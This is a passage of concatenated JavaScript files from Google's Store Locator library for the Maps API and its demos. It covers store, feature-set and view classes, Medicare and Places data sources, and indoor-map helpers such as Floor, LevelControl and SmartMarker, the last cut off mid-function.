+ content + '</li>')[0]; } return cache[key]; }; /** * Gets the distance between this Store and a certain location. * @param {google.maps.LatLng} point the point to calculate distance to/from. * @return {number} the distance from this store to a given point. * @license * Latitude/longitude spherical geodesy formulae & scripts * (c) Chris Veness 2002-2010 * www.movable-type.co.uk/scripts/latlong.html */ storeLocator.Store.prototype.distanceTo = function(point) { var R = 6371; // mean radius of earth var location = this.getLocation(); var lat1 = storeLocator.toRad_(location.lat()); var lon1 = storeLocator.toRad_(location.lng()); var lat2 = storeLocator.toRad_(point.lat()); var lon2 = storeLocator.toRad_(point.lng()); var dLat = lat2 - lat1; var dLon = lon2 - lon1; var a = Math.sin(dLat / 2) * Math.sin(dLat / 2) + Math.cos(lat1) * Math.cos(lat2) * Math.sin(dLon / 2) * Math.sin(dLon / 2); var c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a)); return R * c; }; /** * Fired when the <code>Store</code>'s <code>marker</code> property changes. * @name storeLocator.Store#event:marker_changed * @param {google.maps.Marker} marker * @event */
JavaScript
// Copyright 2012 Google Inc. /** * @author Chris Broadfoot (Google) * @fileoverview * FeatureSet class for Store Locator library. A mutable, ordered set of * storeLocator.Features. */ /** * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * A mutable, ordered set of <code>storeLocator.Feature</code>s. * @example <pre> * var feature1 = new storeLocator.Feature('1', 'Feature One'); * var feature2 = new storeLocator.Feature('2', 'Feature Two'); * var feature3 = new storeLocator.Feature('3', 'Feature Three'); * * var featureSet = new storeLocator.FeatureSet(feature1, feature2, feature3); * </pre> * @param {...storeLocator.Feature} var_args the initial features to add to * the set. * @constructor * @implements storeLocator_FeatureSet */ storeLocator.FeatureSet = function(var_args) { /** * Stores references to the actual Feature. * @private * @type {!Array.<storeLocator.Feature>} */ this.array_ = []; /** * Maps from a Feature's id to its array index. * @private * @type {Object.<string, number>} */ this.hash_ = {}; for (var i = 0, feature; feature = arguments[i]; i++) { this.add(feature); } }; storeLocator['FeatureSet'] = storeLocator.FeatureSet; /** * Adds the given feature to the set, if it doesn't exist in the set already. * Else, removes the feature from the set. * @param {!storeLocator.Feature} feature the feature to toggle. */ storeLocator.FeatureSet.prototype.toggle = function(feature) { if (this.contains(feature)) { this.remove(feature); } else { this.add(feature); } }; /** * Check if a feature exists within this set. * @param {!storeLocator.Feature} feature the feature. * @return {boolean} true if the set contains the given feature. */ storeLocator.FeatureSet.prototype.contains = function(feature) { return feature.getId() in this.hash_; }; /** * Gets a Feature object from the set, by the feature id. * @param {string} featureId the feature's id. * @return {storeLocator.Feature} the feature, if the set contains it. */ storeLocator.FeatureSet.prototype.getById = function(featureId) { if (featureId in this.hash_) { return this.array_[this.hash_[featureId]]; } return null; }; /** * Adds a feature to the set. * @param {storeLocator.Feature} feature the feature to add. */ storeLocator.FeatureSet.prototype.add = function(feature) { if (!feature) { return; } this.array_.push(feature); this.hash_[feature.getId()] = this.array_.length - 1; }; /** * Removes a feature from the set, if it already exists in the set. If it does * not already exist in the set, this function is a no op. * @param {!storeLocator.Feature} feature the feature to remove. */ storeLocator.FeatureSet.prototype.remove = function(feature) { if (!this.contains(feature)) { return; } this.array_[this.hash_[feature.getId()]] = null; delete this.hash_[feature.getId()]; }; /** * Get the contents of this set as an Array. * @return {Array.<!storeLocator.Feature>} the features in the set, in the order * they were inserted. */ storeLocator.FeatureSet.prototype.asList = function() { var filtered = []; for (var i = 0, ii = this.array_.length; i < ii; i++) { var elem = this.array_[i]; if (elem !== null) { filtered.push(elem); } } return filtered; }; /** * Empty feature set. * @type storeLocator.FeatureSet * @const */ storeLocator.FeatureSet.NONE = new storeLocator.FeatureSet;
JavaScript
// Copyright 2012 Google Inc. /** * @author Chris Broadfoot (Google) * @fileoverview * This library makes it easy to create a fully-featured Store Locator for * your business's website. */ /** * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * Data feed that returns stores based on a given bounds and a set of features. * @example <pre> * // always returns the same stores * function SimpleStaticFeed(stores) { * this.stores = stores; * } * SimpleStaticFeed.prototype.getStores = function(bounds, features, callback) { * callback(this.stores); * }; * new storeLocator.View(map, new SimpleStaticFeed()); * </pre> * @interface */ storeLocator.DataFeed = function() {}; storeLocator['DataFeed'] = storeLocator.DataFeed; /** * Fetch stores, based on bounds to search within, and features to filter on. * @param {google.maps.LatLngBounds} bounds the bounds to search within. * @param {storeLocator.FeatureSet} features the features to filter on. * @param {function(Array.<!storeLocator.Store>)} callback the callback * function. */ storeLocator.DataFeed.prototype.getStores = function(bounds, features, callback) {}; /** * The main store locator object. * @example <pre> * new storeLocator.View(map, dataFeed); * </pre> * <pre> * var features = new storeLocator.FeatureSet(feature1, feature2, feature3); * new storeLocator.View(map, dataFeed, { * markerIcon: 'icon.png', * features: features, * geolocation: false * }); * </pre> * <pre> * // refresh stores every 10 seconds, regardless of interaction on the map. * var view = new storeLocator.View(map, dataFeed, { * updateOnPan: false * }); * setTimeout(function() { * view.refreshView(); * }, 10000); * </pre> * <pre> * // custom MarkerOptions, by overriding the createMarker method. * view.createMarker = function(store) { * return new google.maps.Marker({ * position: store.getLocation(), * icon: store.getDetails().icon, * title: store.getDetails().title * }); * }; * </pre> * @extends {google.maps.MVCObject} * @param {google.maps.Map} map the map to operate upon. * @param {storeLocator.DataFeed} data the data feed to fetch stores from. * @param {storeLocator.ViewOptions} opt_options * @constructor * @implements storeLocator_View */ storeLocator.View = function(map, data, opt_options) { this.map_ = map; this.data_ = data; this.settings_ = $.extend({ 'updateOnPan': true, 'geolocation': true, 'features': new storeLocator.FeatureSet }, opt_options); this.init_(); google.maps.event.trigger(this, 'load'); this.set('featureFilter', new storeLocator.FeatureSet); }; storeLocator['View'] = storeLocator.View; storeLocator.View.prototype = new google.maps.MVCObject; /** * Attempt to perform geolocation and pan to the given location * @private */ storeLocator.View.prototype.geolocate_ = function() { var that = this; if (window.navigator && navigator.geolocation) { navigator.geolocation.getCurrentPosition(function(pos) { var loc = new google.maps.LatLng( pos.coords.latitude, pos.coords.longitude); that.getMap().setCenter(loc); that.getMap().setZoom(11); google.maps.event.trigger(that, 'load'); }, undefined, /** @type GeolocationPositionOptions */({ maximumAge: 60 * 1000, timeout: 10 * 1000 })); } }; /** * Initialise the View object * @private */ storeLocator.View.prototype.init_ = function() { if (this.settings_['geolocation']) { this.geolocate_(); } this.markerCache_ = {}; this.infoWindow_ = new google.maps.InfoWindow; var that = this; var map = this.getMap(); this.set('updateOnPan', this.settings_['updateOnPan']); google.maps.event.addListener(this.infoWindow_, 'closeclick', function() { that.highlight(null); }); google.maps.event.addListener(map, 'click', function() { that.highlight(null); that.infoWindow_.close(); }); }; /** * Adds/remove hooks as appropriate. */ storeLocator.View.prototype.updateOnPan_changed = function() { if (this.updateOnPanListener_) { google.maps.event.removeListener(this.updateOnPanListener_); } if (this.get('updateOnPan') && this.getMap()) { var that = this; var map = this.getMap(); this.updateOnPanListener_ = google.maps.event.addListener(map, 'idle', function() { that.refreshView(); }); } }; /** * Add a store to the map. * @param {storeLocator.Store} store the store to add. */ storeLocator.View.prototype.addStoreToMap = function(store) { var marker = this.getMarker(store); store.setMarker(marker); var that = this; marker.clickListener_ = google.maps.event.addListener(marker, 'click', function() { that.highlight(store, false); }); if (marker.getMap() != this.getMap()) { marker.setMap(this.getMap()); } }; /** * Create a marker for a store. * @param {storeLocator.Store} store the store to produce a marker for. * @this storeLocator.View * @return {google.maps.Marker} a new marker. * @export */ storeLocator.View.prototype.createMarker = function(store) { var markerOptions = { position: store.getLocation() }; var opt_icon = this.settings_['markerIcon']; if (opt_icon) { markerOptions.icon = opt_icon; } return new google.maps.Marker(markerOptions); }; /** * Get a marker for a store. By default, this caches the value from * createMarker(store) * @param {storeLocator.Store} store the store to get the marker from. * @return {google.maps.Marker} the marker. */ storeLocator.View.prototype.getMarker = function(store) { var cache = this.markerCache_; var key = store.getId(); if (!cache[key]) { cache[key] = this['createMarker'](store); } return cache[key]; }; /** * Get a InfoWindow for a particular store. * @param {storeLocator.Store} store the store. * @return {google.maps.InfoWindow} the store's InfoWindow. */ storeLocator.View.prototype.getInfoWindow = function(store) { if (!store) { return this.infoWindow_; } var div = $(store.getInfoWindowContent()); this.infoWindow_.setContent(div[0]); return this.infoWindow_; }; /** * Gets all possible features for this View. * @return {storeLocator.FeatureSet} All possible features. */ storeLocator.View.prototype.getFeatures = function() { return this.settings_['features']; }; /** * Gets a feature by its id. Convenience method. * @param {string} id the feature's id. * @return {storeLocator.Feature|undefined} The feature, if the id is valid. * undefined if not. */ storeLocator.View.prototype.getFeatureById = function(id) { if (!this.featureById_) { this.featureById_ = {}; for (var i = 0, feature; feature = this.settings_['features'][i]; i++) { this.featureById_[feature.getId()] = feature; } } return this.featureById_[id]; }; /** * featureFilter_changed event handler. */ storeLocator.View.prototype.featureFilter_changed = function() { google.maps.event.trigger(this, 'featureFilter_changed', this.get('featureFilter')); if (this.get('stores')) { this.clearMarkers(); } }; /** * Clears the visible markers on the map. */ storeLocator.View.prototype.clearMarkers = function() { for (var marker in this.markerCache_) { this.markerCache_[marker].setMap(null); var listener = this.markerCache_[marker].clickListener_; if (listener) { google.maps.event.removeListener(listener); } } }; /** * Refresh the map's view. This will fetch new data based on the map's bounds. */ storeLocator.View.prototype.refreshView = function() { var that = this; this.data_.getStores(this.getMap().getBounds(), /** @type {storeLocator.FeatureSet} */ (this.get('featureFilter')), function(stores) { var oldStores = that.get('stores'); if (oldStores) { for (var i = 0, ii = oldStores.length; i < ii; i++) { google.maps.event.removeListener( oldStores[i].getMarker().clickListener_); } } that.set('stores', stores); }); }; /** * stores_changed event handler. * This will display all new stores on the map. * @this storeLocator.View */ storeLocator.View.prototype.stores_changed = function() { var stores = this.get('stores'); for (var i = 0, store; store = stores[i]; i++) { this.addStoreToMap(store); } }; /** * Gets the view's Map. * @return {google.maps.Map} the view's Map. */ storeLocator.View.prototype.getMap = function() { return this.map_; }; /** * Select a particular store. * @param {storeLocator.Store} store the store to highlight. * @param {boolean=} opt_pan if panning to the store on the map is desired. */ storeLocator.View.prototype.highlight = function(store, opt_pan) { var infoWindow = this.getInfoWindow(store); if (store) { var infoWindow = this.getInfoWindow(store); if (store.getMarker()) { infoWindow.open(this.getMap(), store.getMarker()); } else { infoWindow.setPosition(store.getLocation()); infoWindow.open(this.getMap()); } if (opt_pan) { this.getMap().panTo(store.getLocation()); } if (this.getMap().getStreetView().getVisible()) { this.getMap().getStreetView().setPosition(store.getLocation()); } } else { infoWindow.close(); } this.set('selectedStore', store); }; /** * Re-triggers the selectedStore_changed event with the store as a parameter. * @this storeLocator.View */ storeLocator.View.prototype.selectedStore_changed = function() { google.maps.event.trigger(this, 'selectedStore_changed', this.get('selectedStore')); }; /** * Fired when the <code>View</code> is loaded. This happens once immediately, * then once more if geolocation is successful. * @name storeLocator.View#event:load * @event */ /** * Fired when the <code>View</code>'s <code>featureFilter</code> property * changes. * @name storeLocator.View#event:featureFilter_changed * @event */ /** * Fired when the <code>View</code>'s <code>updateOnPan</code> property changes. * @name storeLocator.View#event:updateOnPan_changed * @event */ /** * Fired when the <code>View</code>'s <code>stores</code> property changes. * @name storeLocator.View#event:stores_changed * @event */ /** * Fired when the <code>View</code>'s <code>selectedStore</code> property * changes. This happens after <code>highlight()</code> is called. * @name storeLocator.View#event:selectedStore_changed * @param {storeLocator.Store} store * @event */ /** * @example see storeLocator.View * @interface */ storeLocator.ViewOptions = function() {}; /** * Whether the map should update stores in the visible area when the visible * area changes. <code>refreshView()</code> will need to be called * programatically. Defaults to true. * @type boolean */ storeLocator.ViewOptions.prototype.updateOnPan; /** * Whether the store locator should attempt to determine the user's location * for the initial view. Defaults to true. * @type boolean */ storeLocator.ViewOptions.prototype.geolocation; /** * All available store features. Defaults to empty FeatureSet. * @type storeLocator.FeatureSet */ storeLocator.ViewOptions.prototype.features; /** * The icon to use for markers representing stores. * @type string|google.maps.MarkerImage */ storeLocator.ViewOptions.prototype.markerIcon;
JavaScript
// Copyright 2012 Google Inc. /** * @author Chris Broadfoot (Google) * @fileoverview * Feature model class for Store Locator library. */ /** * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * Representation of a feature of a store. (e.g. 24 hours, BYO, etc). * @example <pre> * var feature = new storeLocator.Feature('24hour', 'Open 24 Hours'); * </pre> * @param {string} id unique identifier for this feature. * @param {string} name display name of this feature. * @constructor * @implements storeLocator_Feature */ storeLocator.Feature = function(id, name) { this.id_ = id; this.name_ = name; }; storeLocator['Feature'] = storeLocator.Feature; /** * Gets this Feature's ID. * @return {string} this feature's ID. */ storeLocator.Feature.prototype.getId = function() { return this.id_; }; /** * Gets this Feature's display name. * @return {string} this feature's display name. */ storeLocator.Feature.prototype.getDisplayName = function() { return this.name_; }; storeLocator.Feature.prototype.toString = function() { return this.getDisplayName(); };
JavaScript
// A simple demo showing how to grab places using the Maps API Places Library. // Useful extensions may include using "name" filtering or "keyword" search. google.maps.event.addDomListener(window, 'load', function() { var map = new google.maps.Map(document.getElementById('map-canvas'), { center: new google.maps.LatLng(-28, 135), zoom: 4, mapTypeId: google.maps.MapTypeId.ROADMAP }); var panelDiv = document.getElementById('panel'); var data = new PlacesDataSource(map); var view = new storeLocator.View(map, data); var markerSize = new google.maps.Size(24, 24); view.createMarker = function(store) { return new google.maps.Marker({ position: store.getLocation(), icon: new google.maps.MarkerImage(store.getDetails().icon, null, null, null, markerSize) }); }; new storeLocator.Panel(panelDiv, { view: view }); }); /** * Creates a new PlacesDataSource. * @param {google.maps.Map} map * @constructor */ function PlacesDataSource(map) { this.service_ = new google.maps.places.PlacesService(map); } /** * @inheritDoc */ PlacesDataSource.prototype.getStores = function(bounds, features, callback) { this.service_.search({ bounds: bounds }, function(results, status) { var stores = []; for (var i = 0, result; result = results[i]; i++) { var latLng = result.geometry.location; var store = new storeLocator.Store(result.id, latLng, null, { title: result.name, address: result.types.join(', '), icon: result.icon }); stores.push(store); } callback(stores); }); };
JavaScript
google.maps.event.addDomListener(window, 'load', function() { var map = new google.maps.Map(document.getElementById('map-canvas'), { center: new google.maps.LatLng(-28, 135), zoom: 4, mapTypeId: google.maps.MapTypeId.ROADMAP }); var panelDiv = document.getElementById('panel'); var data = new MedicareDataSource; var view = new storeLocator.View(map, data, { geolocation: false, features: data.getFeatures() }); new storeLocator.Panel(panelDiv, { view: view }); });
JavaScript
google.maps.event.addDomListener(window, 'load', function() { var map = new google.maps.Map(document.getElementById('map-canvas'), { center: new google.maps.LatLng(-28, 135), zoom: 4, mapTypeId: google.maps.MapTypeId.ROADMAP }); var panelDiv = document.getElementById('panel'); var data = new storeLocator.GMEDataFeed({ tableId: '12421761926155747447-06672618218968397709', apiKey: 'AIzaSyAtunhRg0VTElV-P7n4Agpm9tYlABQDCAM', propertiesModifier: function(props) { var shop = join([props.Shp_num_an, props.Shp_centre], ', '); var locality = join([props.Locality, props.Postcode], ', '); return { id: props.uuid, title: props.Fcilty_nam, address: join([shop, props.Street_add, locality], '<br>'), hours: props.Hrs_of_bus }; } }); var view = new storeLocator.View(map, data, { geolocation: false }); new storeLocator.Panel(panelDiv, { view: view }); }); /** * Joins elements of an array that are non-empty and non-null. * @private * @param {!Array} arr array of elements to join. * @param {string} sep the separator. * @return {string} */ function join(arr, sep) { var parts = []; for (var i = 0, ii = arr.length; i < ii; i++) { arr[i] && parts.push(arr[i]); } return parts.join(sep); }
JavaScript
// Store locator with customisations // - custom marker // - custom info window (using Info Bubble) // - custom info window content (+ store hours) var ICON = new google.maps.MarkerImage('medicare.png', null, null, new google.maps.Point(14, 13)); var SHADOW = new google.maps.MarkerImage('medicare-shadow.png', null, null, new google.maps.Point(14, 13)); google.maps.event.addDomListener(window, 'load', function() { var map = new google.maps.Map(document.getElementById('map-canvas'), { center: new google.maps.LatLng(-28, 135), zoom: 4, mapTypeId: google.maps.MapTypeId.ROADMAP }); var panelDiv = document.getElementById('panel'); var data = new MedicareDataSource; var view = new storeLocator.View(map, data, { geolocation: false, features: data.getFeatures() }); view.createMarker = function(store) { var markerOptions = { position: store.getLocation(), icon: ICON, shadow: SHADOW, title: store.getDetails().title }; return new google.maps.Marker(markerOptions); } var infoBubble = new InfoBubble; view.getInfoWindow = function(store) { if (!store) { return infoBubble; } var details = store.getDetails(); var html = ['<div class="store"><div class="title">', details.title, '</div><div class="address">', details.address, '</div>', '<div class="hours misc">', details.hours, '</div></div>'].join(''); infoBubble.setContent($(html)[0]); return infoBubble; }; new storeLocator.Panel(panelDiv, { view: view }); });
JavaScript
/** * @extends storeLocator.StaticDataFeed * @constructor */ function MedicareDataSource() { $.extend(this, new storeLocator.StaticDataFeed); var that = this; $.get('medicare.csv', function(data) { that.setStores(that.parse_(data)); }); } /** * @const * @type {!storeLocator.FeatureSet} * @private */ MedicareDataSource.prototype.FEATURES_ = new storeLocator.FeatureSet( new storeLocator.Feature('Wheelchair-YES', 'Wheelchair access'), new storeLocator.Feature('Audio-YES', 'Audio') ); /** * @return {!storeLocator.FeatureSet} */ MedicareDataSource.prototype.getFeatures = function() { return this.FEATURES_; }; /** * @private * @param {string} csv * @return {!Array.<!storeLocator.Store>} */ MedicareDataSource.prototype.parse_ = function(csv) { var stores = []; var rows = csv.split('\n'); var headings = this.parseRow_(rows[0]); for (var i = 1, row; row = rows[i]; i++) { row = this.toObject_(headings, this.parseRow_(row)); var features = new storeLocator.FeatureSet; features.add(this.FEATURES_.getById('Wheelchair-' + row.Wheelchair)); features.add(this.FEATURES_.getById('Audio-' + row.Audio)); var position = new google.maps.LatLng(row.Ycoord, row.Xcoord); var shop = this.join_([row.Shp_num_an, row.Shp_centre], ', '); var locality = this.join_([row.Locality, row.Postcode], ', '); var store = new storeLocator.Store(row.uuid, position, features, { title: row.Fcilty_nam, address: this.join_([shop, row.Street_add, locality], '<br>'), hours: row.Hrs_of_bus }); stores.push(store); } return stores; }; /** * Joins elements of an array that are non-empty and non-null. * @private * @param {!Array} arr array of elements to join. * @param {string} sep the separator. * @return {string} */ MedicareDataSource.prototype.join_ = function(arr, sep) { var parts = []; for (var i = 0, ii = arr.length; i < ii; i++) { arr[i] && parts.push(arr[i]); } return parts.join(sep); }; /** * Very rudimentary CSV parsing - we know how this particular CSV is formatted. * IMPORTANT: Don't use this for general CSV parsing! * @private * @param {string} row * @return {Array.<string>} */ MedicareDataSource.prototype.parseRow_ = function(row) { // Strip leading quote. if (row.charAt(0) == '"') { row = row.substring(1); } // Strip trailing quote. There seems to be a character between the last quote // and the line ending, hence 2 instead of 1. if (row.charAt(row.length - 2) == '"') { row = row.substring(0, row.length - 2); } row = row.split('","'); return row; }; /** * Creates an object mapping headings to row elements. * @private * @param {Array.<string>} headings * @param {Array.<string>} row * @return {Object} */ MedicareDataSource.prototype.toObject_ = function(headings, row) { var result = {}; for (var i = 0, ii = row.length; i < ii; i++) { result[headings[i]] = row[i]; } return result; };
JavaScript
/** * @implements storeLocator.DataFeed * @constructor */ function MedicareDataSource() { } MedicareDataSource.prototype.getStores = function(bounds, features, callback) { var that = this; var center = bounds.getCenter(); var audioFeature = this.FEATURES_.getById('Audio-YES'); var wheelchairFeature = this.FEATURES_.getById('Wheelchair-YES'); var where = '(ST_INTERSECTS(geometry, ' + this.boundsToWkt_(bounds) + ')' + ' OR ST_DISTANCE(geometry, ' + this.latLngToWkt_(center) + ') < 20000)'; if (features.contains(audioFeature)) { where += " AND Audio='YES'"; } if (features.contains(wheelchairFeature)) { where += " AND Wheelchair='YES'"; } var tableId = '12421761926155747447-06672618218968397709'; var url = 'https://www.googleapis.com/mapsengine/v1/tables/' + tableId + '/features?callback=?'; $.getJSON(url, { key: 'AIzaSyAtunhRg0VTElV-P7n4Agpm9tYlABQDCAM', where: where, version: 'published', maxResults: 300 }, function(resp) { var stores = that.parse_(resp); that.sortByDistance_(center, stores); callback(stores); }); }; MedicareDataSource.prototype.latLngToWkt_ = function(point) { return 'ST_POINT(' + point.lng() + ', ' + point.lat() + ')'; }; MedicareDataSource.prototype.boundsToWkt_ = function(bounds) { var ne = bounds.getNorthEast(); var sw = bounds.getSouthWest(); return [ "ST_GEOMFROMTEXT('POLYGON ((", sw.lng(), ' ', sw.lat(), ', ', ne.lng(), ' ', sw.lat(), ', ', ne.lng(), ' ', ne.lat(), ', ', sw.lng(), ' ', ne.lat(), ', ', sw.lng(), ' ', sw.lat(), "))')" ].join(''); }; MedicareDataSource.prototype.parse_ = function(data) { var stores = []; for (var i = 0, row; row = data.features[i]; i++) { var props = row.properties; var features = new storeLocator.FeatureSet; features.add(this.FEATURES_.getById('Wheelchair-' + props.Wheelchair)); features.add(this.FEATURES_.getById('Audio-' + props.Audio)); var position = new google.maps.LatLng(row.geometry.coordinates[1], row.geometry.coordinates[0]); var shop = this.join_([props.Shp_num_an, props.Shp_centre], ', '); var locality = this.join_([props.Locality, props.Postcode], ', '); var store = new storeLocator.Store(props.uuid, position, features, { title: props.Fcilty_nam, address: this.join_([shop, props.Street_add, locality], '<br>'), hours: props.Hrs_of_bus }); stores.push(store); } return stores; }; /** * @const * @type {!storeLocator.FeatureSet} * @private */ MedicareDataSource.prototype.FEATURES_ = new storeLocator.FeatureSet( new storeLocator.Feature('Wheelchair-YES', 'Wheelchair access'), new storeLocator.Feature('Audio-YES', 'Audio') ); /** * @return {!storeLocator.FeatureSet} */ MedicareDataSource.prototype.getFeatures = function() { return this.FEATURES_; }; /** * Joins elements of an array that are non-empty and non-null. * @private * @param {!Array} arr array of elements to join. * @param {string} sep the separator. * @return {string} */ MedicareDataSource.prototype.join_ = function(arr, sep) { var parts = []; for (var i = 0, ii = arr.length; i < ii; i++) { arr[i] && parts.push(arr[i]); } return parts.join(sep); }; /** * Sorts a list of given stores by distance from a point in ascending order. * Directly manipulates the given array (has side effects). * @private * @param {google.maps.LatLng} latLng the point to sort from. * @param {!Array.<!storeLocator.Store>} stores the stores to sort. */ MedicareDataSource.prototype.sortByDistance_ = function(latLng, stores) { stores.sort(function(a, b) { return a.distanceTo(latLng) - b.distanceTo(latLng); }); };
JavaScript
/** @interface */ function storeLocator_Feature() {}; storeLocator_Feature.prototype.getId = function(var_args) {}; storeLocator_Feature.prototype.getDisplayName = function(var_args) {}; /** @interface */ function storeLocator_FeatureSet() {}; storeLocator_FeatureSet.prototype.toggle = function(var_args) {}; storeLocator_FeatureSet.prototype.contains = function(var_args) {}; storeLocator_FeatureSet.prototype.getById = function(var_args) {}; storeLocator_FeatureSet.prototype.add = function(var_args) {}; storeLocator_FeatureSet.prototype.remove = function(var_args) {}; storeLocator_FeatureSet.prototype.asList = function(var_args) {}; /** @interface */ function storeLocator_GMEDataFeed() {}; /** @interface */ function storeLocator_Panel() {}; storeLocator_Panel.prototype.searchPosition = function(var_args) {}; storeLocator_Panel.prototype.setView = function(var_args) {}; storeLocator_Panel.prototype.view_changed = function(var_args) {}; storeLocator_Panel.prototype.stores_changed = function(var_args) {}; storeLocator_Panel.prototype.selectedStore_changed = function(var_args) {}; storeLocator_Panel.prototype.hideDirections = function(var_args) {}; storeLocator_Panel.prototype.showDirections = function(var_args) {}; storeLocator_Panel.prototype.featureFilter_changed = function(var_args) {}; /** @interface */ function storeLocator_StaticDataFeed() {}; storeLocator_StaticDataFeed.prototype.setStores = function(var_args) {}; storeLocator_StaticDataFeed.prototype.getStores = function(var_args) {}; /** @interface */ function storeLocator_Store() {}; storeLocator_Store.prototype.setMarker = function(var_args) {}; storeLocator_Store.prototype.getMarker = function(var_args) {}; storeLocator_Store.prototype.getId = function(var_args) {}; storeLocator_Store.prototype.getLocation = function(var_args) {}; storeLocator_Store.prototype.getFeatures = function(var_args) {}; storeLocator_Store.prototype.hasFeature = function(var_args) {}; storeLocator_Store.prototype.hasAllFeatures = function(var_args) {}; storeLocator_Store.prototype.getDetails = function(var_args) {}; storeLocator_Store.prototype.getInfoWindowContent = function(var_args) {}; storeLocator_Store.prototype.getInfoPanelContent = function(var_args) {}; storeLocator_Store.prototype.getInfoPanelItem = function(var_args) {}; storeLocator_Store.prototype.distanceTo = function(var_args) {}; /** @interface */ function storeLocator_View() {}; storeLocator_View.prototype.updateOnPan_changed = function(var_args) {}; storeLocator_View.prototype.addStoreToMap = function(var_args) {}; storeLocator_View.prototype.createMarker = function(var_args) {}; storeLocator_View.prototype.getMarker = function(var_args) {}; storeLocator_View.prototype.getInfoWindow = function(var_args) {}; storeLocator_View.prototype.getFeatures = function(var_args) {}; storeLocator_View.prototype.getFeatureById = function(var_args) {}; storeLocator_View.prototype.featureFilter_changed = function(var_args) {}; storeLocator_View.prototype.clearMarkers = function(var_args) {}; storeLocator_View.prototype.refreshView = function(var_args) {}; storeLocator_View.prototype.stores_changed = function(var_args) {}; storeLocator_View.prototype.getMap = function(var_args) {}; storeLocator_View.prototype.highlight = function(var_args) {}; storeLocator_View.prototype.selectedStore_changed = function(var_args) {};
JavaScript
/** * Creates a new Floor. * @constructor * @param {google.maps.Map=} opt_map */ function Floor(opt_map) { /** * @type Array.<google.maps.MVCObject> */ this.overlays_ = []; /** * @type boolean */ this.shown_ = true; if (opt_map) { this.setMap(opt_map); } } /** * @param {google.maps.Map} map */ Floor.prototype.setMap = function(map) { this.map_ = map; }; /** * @param {google.maps.MVCObject} overlay For example, a Marker or MapLabel. * Requires a setMap method. */ Floor.prototype.addOverlay = function(overlay) { if (!overlay) return; this.overlays_.push(overlay); overlay.setMap(this.shown_ ? this.map_ : null); }; /** * Sets the map on all the overlays * @param {google.maps.Map} map The map to set. */ Floor.prototype.setMapAll_ = function(map) { this.shown_ = !!map; for (var i = 0, overlay; overlay = this.overlays_[i]; i++) { overlay.setMap(map); } }; /** * Hides the floor and all associated overlays. */ Floor.prototype.hide = function() { this.setMapAll_(null); }; /** * Shows the floor and all associated overlays. */ Floor.prototype.show = function() { this.setMapAll_(this.map_); };
JavaScript
/** * Creates a new level control. * @constructor * @param {IoMap} iomap the IO map controller. * @param {Array.<string>} levels the levels to create switchers for. */ function LevelControl(iomap, levels) { var that = this; this.iomap_ = iomap; this.el_ = this.initDom_(levels); google.maps.event.addListener(iomap, 'level_changed', function() { that.changeLevel_(iomap.get('level')); }); } /** * Gets the DOM element for the control. * @return {Element} */ LevelControl.prototype.getElement = function() { return this.el_; }; /** * Creates the necessary DOM for the control. * @return {Element} */ LevelControl.prototype.initDom_ = function(levelDefinition) { var controlDiv = document.createElement('DIV'); controlDiv.setAttribute('id', 'levels-wrapper'); var levels = document.createElement('DIV'); levels.setAttribute('id', 'levels'); controlDiv.appendChild(levels); var levelSelect = this.levelSelect_ = document.createElement('DIV'); levelSelect.setAttribute('id', 'level-select'); levels.appendChild(levelSelect); this.levelDivs_ = []; var that = this; for (var i = 0, level; level = levelDefinition[i]; i++) { var div = document.createElement('DIV'); div.innerHTML = 'Level ' + level; div.setAttribute('id', 'level-' + level); div.className = 'level'; levels.appendChild(div); this.levelDivs_.push(div); google.maps.event.addDomListener(div, 'click', function(e) { var id = e.currentTarget.getAttribute('id'); var level = parseInt(id.replace('level-', ''), 10); that.iomap_.setHash('level' + level); }); } controlDiv.index = 1; return controlDiv; }; /** * Changes the highlighted level in the control. * @param {number} level the level number to select. */ LevelControl.prototype.changeLevel_ = function(level) { if (this.currentLevelDiv_) { this.currentLevelDiv_.className = this.currentLevelDiv_.className.replace(' level-selected', ''); } var h = 25; if (window['ioEmbed']) { h = (window.screen.availWidth > 600) ? 34 : 24; } this.levelSelect_.style.top = 9 + ((level - 1) * h) + 'px'; var div = this.levelDivs_[level - 1]; div.className += ' level-selected'; this.currentLevelDiv_ = div; };
JavaScript
/** * @license * * Copyright 2011 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * @fileoverview SmartMarker. * * @author Chris Broadfoot (cbro@google.com) */ /** * A google.maps.Marker that has some smarts about the zoom levels it should be * shown. * * Options are the same as google.maps.Marker, with the addition of minZoom and * maxZoom. These zoom levels are inclusive. That is, a SmartMarker with * a minZoom and maxZoom of 13 will only be shown at zoom level 13. * @constructor * @extends google.maps.Marker * @param {Object=} opts Same as MarkerOptions, plus minZoom and maxZoom. */ function SmartMarker(opts) { var marker = new google.maps.Marker; // default min/max Zoom - shows the marker all the time. marker.setValues({ 'minZoom': 0, 'maxZoom': Infinity }); // the current listener (if any), triggered on map zoom_changed var mapZoomListener; google.maps.event.addListener(marker, 'map_changed', function() { if (mapZoomListener) { google.maps.event.removeListener(mapZoomListener); } var map = marker.getMap(); if (map) { var listener = SmartMarker.newZoomListener_(marker); mapZoomListener = 